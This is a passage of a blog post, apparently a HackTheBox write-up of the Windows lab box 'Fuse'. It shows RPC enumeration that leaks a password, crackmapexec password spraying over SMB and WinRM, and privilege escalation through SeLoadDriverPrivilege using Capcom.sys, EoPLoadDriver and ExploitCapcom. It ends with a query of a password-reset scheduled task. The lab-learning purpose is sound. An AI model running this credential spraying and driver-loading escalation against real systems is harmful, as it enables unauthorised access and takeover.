&amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; 10.10.10.193&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The RPC enumeration wordlist appears later and can extract all information; one useful result follows&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;flags:[0x800000]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;name:[\\10.10.10.193\HP-MFT01]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;description:[\\10.10.10.193\HP-MFT01,HP Universal Printing PCL 6,Central (Near IT, scan2docs password: $fab@s3Rv1ce$1)]&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I tried logging in to scan2docs, but unfortunately it didn&amp;rsquo;t work. I went back to brute force since there were other accounts above.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb fabricorp.local -u username.txt -p &amp;#34;\$fab@s3Rv1ce\$1&amp;#34; --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0323.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;svc-print:$fab@s3Rv1ce$1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0324.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked and I could access it, but there weren&amp;rsquo;t any other directories. Next, I tried WinRM to see if I could get a shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm fabricorp.local -u username.txt -p &amp;#34;\$fab@s3Rv1ce\$1&amp;#34; --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0325.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm fabricorp.local -u svc-print -p &amp;#34;\$fab@s3Rv1ce\$1&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0326.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;winPEASany.exe didn&amp;rsquo;t give me much, so I checked the other findings first. If those went nowhere, I would try BloodHound.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0327.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SeLoadDriverPrivilege is an interesting one. The two posts below explain it very well: the original article and a reproduction.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1180772" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1180772&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.tarlogic.com/blog/seloaddriverprivilege-privilege-escalation/" target="_blank" rel="noopener"&#10; &gt;https://www.tarlogic.com/blog/seloaddriverprivilege-privilege-escalation/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0328.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also explained why svc-print could log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0329.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/TarlogicSecurity/EoPLoadDriver/" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/TarlogicSecurity/EoPLoadDriver/&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;~~There is a compiled version of eoploaddriver in the author&amp;rsquo;s issue: ~~&lt;a class="link" href="https://github.com/TarlogicSecurity/EoPLoadDriver/issues/2" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/TarlogicSecurity/EoPLoadDriver/issues/2&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;~~Project URL: ~~&lt;a class="link" href="https://github.com/umiterkol/EoPLoadDriver_Release/releases" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/umiterkol/EoPLoadDriver_Release/releases&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;The struck-through section above refers to the original tool mentioned in the article. It needs to be used with a sys file and gives you a lot of flexibility.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;The project below was also mentioned in the original article. You just need to package it as an EXE.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tandasat/ExploitCapcom/" target="_blank" rel="noopener"&#10; &gt;https://github.com/tandasat/ExploitCapcom/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It pops open a cmd window with administrator privileges, but that obviously wasn&amp;rsquo;t what I wanted, so it only needed a small change.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0330.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is where it gets called.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0331.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just replace it with whatever you want to execute. winPEASany had told me that the svc-print user&amp;rsquo;s directory was writable by everyone, so I chose that directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0332.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the tutorial, I had to load it first, but it said I didn&amp;rsquo;t have the required privilege.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0333.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I Googled the problem, and it was the classic case of insufficient privileges.&lt;/p&gt;&#10;&lt;p&gt;Running it directly produced this error. (The reason below is that Capcom.sys had not been loaded.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0334.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Only at this point did I understand the full chain. The project above tells us to load Capcom.sys, and loading it requires the PoC tool. Once it has been loaded, we use the exploit above.&lt;/p&gt;&#10;&lt;p&gt;There was a precompiled build below, but unfortunately it kept failing for me, so I decided to compile it myself.&lt;/p&gt;&#10;&lt;p&gt;Precompiled project: &lt;a class="link" href="https://github.com/umiterkol/EoPLoadDriver_Release/releases" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/umiterkol/EoPLoadDriver_Release/releases&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Source code: &lt;a class="link" href="https://github.com/TarlogicSecurity/EoPLoadDriver/" target="_blank" rel="noopener"&#10; &gt;https://github.com/TarlogicSecurity/EoPLoadDriver/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0335.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0336.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Press Ctrl + Alt + L to open Solution Explorer.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0337.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then just create a new source file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0338.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The header file at the very top doesn&amp;rsquo;t matter, so delete it. Then switch to Release and build the solution, and you&amp;rsquo;re done.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0339.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, the version I compiled myself worked without any issues. But then:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0340.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Maybe I had misunderstood the result. The svc-print directory was writable in the context of the current user, but SYSTEM still didn&amp;rsquo;t have permission to access it. I decided to move everything to a public directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0341.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The test folder in the root directory was writable, so I put the files there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0342.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0343.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box took me a huge amount of time. Its rating was only 3.5 stars, probably because the path was so convoluted: many things had to be repeated, and much of it wasn&amp;rsquo;t standard. Still, I think it deserves five stars. This box has a lot in common with Forest.&lt;/p&gt;&#10;&lt;p&gt;Forest is mainly a classic, conventional Active Directory pentest. After studying the material, I could go back to Forest and understand almost everything. This box, however, had practically nothing to do with the usual approach. It did a much better job of expanding into another side of the topic: remotely changing passwords with smbpasswd, learning a few more wordlist-generation flags for brute force, and dealing with domain-user passwords that kept changing. I could actually have written a Bash shell script to keep obtaining the new password, but I didn&amp;rsquo;t. I spent far too much time solving those three problems. I had to dig deeper one step at a time before I understood the logic behind them. With the password changes, for example, I only later learned that a scheduled task was constantly resetting the passwords. The brute force was also extremely slow, which is why I generally dislike brute force. I just don&amp;rsquo;t enjoy it, but it&amp;rsquo;s still something you need to use often.&lt;/p&gt;&#10;&lt;p&gt;The privilege-escalation section was new to me too. The blog authors understood the topic deeply enough that they could jump straight into using the technique, which left me completely confused at first and unsure how to exploit it. By the time I reached privilege escalation, my head was spinning. There was far too much to absorb between getting the shell and escalating privileges, and I tried a ridiculous number of things. After sleeping on it and coming back, though, the logic became much clearer.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll use both Forest and Fuse as review boxes later on.&lt;/p&gt;&#10;&lt;p&gt;At this point, I wanted to see how the scheduled task was being executed and also read a few other write-ups.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The first one looked like the scheduled task that reset the passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0344.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /tn &amp;#34;Revert Password and Expiry&amp;#34; /fo LIST /v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Folder: \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HostName: FUSE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TaskName: \Revert Password and Expiry&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Next Run Time: 11/30/2024 7:44:00 PM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Status: Ready&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Logon Mode: Interactive only&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Last Run Time: 11/30/2024 7:43:00 PM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Last Result: 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Author: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Task To Run: powershell.exe -c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity bnielson | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -R&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start In: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Comment: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Scheduled Task State: Enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Idle Time: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Power Management: Stop On Battery Mode, No Start On Batteries&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Run As User: FABRICORP\Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Delete Task If Not Rescheduled: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stop Task If Runs X Hours and X Mins: 72:00:00&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Schedule: Scheduling data is not available in this format.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Schedule Type: One Time Only, Minute&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start Time: 12:00:00 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start Date: 6/10/2020&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;End Date: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Days: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Months: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Every: 0 Hour(s), 1 Minute(s)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Until: Time: None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Until: Duration: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Stop If Still Running: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It ran once a minute and changed the passwords for bnielson and tlavel back to Fabricorp01, but the PowerShell command shown here looked incomplete.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /tn &amp;#34;Revert Password and Expiry&amp;#34; /xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-16&amp;#34;?&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;Task version=&amp;#34;1.2&amp;#34; xmlns=&amp;#34;http://schemas.microsoft.com/windows/2004/02/mit/task&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;RegistrationInfo&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;URI&amp;gt;\Revert Password and Expiry&amp;lt;/URI&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/RegistrationInfo&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Principals&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Principal id=&amp;#34;Author&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;UserId&amp;gt;S-1-5-21-2633719317-1471316042-3957863514-500&amp;lt;/UserId&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;LogonType&amp;gt;InteractiveToken&amp;lt;/LogonType&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Principal&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Principals&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Settings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;DisallowStartIfOnBatteries&amp;gt;true&amp;lt;/DisallowStartIfOnBatteries&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;StopIfGoingOnBatteries&amp;gt;true&amp;lt;/StopIfGoingOnBatteries&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;MultipleInstancesPolicy&amp;gt;IgnoreNew&amp;lt;/MultipleInstancesPolicy&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;IdleSettings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Duration&amp;gt;PT10M&amp;lt;/Duration&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;WaitTimeout&amp;gt;PT1H&amp;lt;/WaitTimeout&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; 